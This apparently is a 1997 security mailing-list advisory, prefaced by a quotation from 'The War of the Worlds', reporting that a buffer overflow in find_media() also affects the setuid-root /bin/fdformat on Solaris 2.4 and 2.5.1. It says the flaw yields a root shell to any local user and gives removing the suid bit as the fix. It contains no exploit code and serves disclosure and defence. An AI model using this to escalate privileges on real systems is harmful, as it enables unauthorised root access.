motto: " No one would have believed in the last years of the nineteenth
century that this world was being watched keenly and closely by
intelligences greater than man's and yet as mortal as his own; that as men
busied themselves about their various concerns they were scrutinised and
studied, perhaps almost as narrowly as a man with a microscope might scru-
tinise the transient creatures that swarm and multiply in a drop of
water."

"Remake for bufer-overflow in find_media() now in /bin/fdformat"

The buffer overflow bug I posted to you in Mar 13 1997 is present in
/bin/fdformat too (which has in may solaris 2.4 and 2.5.1 distributions
the suid-exec bit on and it is owned by root). By exploiting fdformat with
suid-exec bit on, anyone can gain a root (or who is the owner of fdformat)
shell. So, to prevent an fdformat exploit, remove the suid-exec bit from
/bin/fdformat.
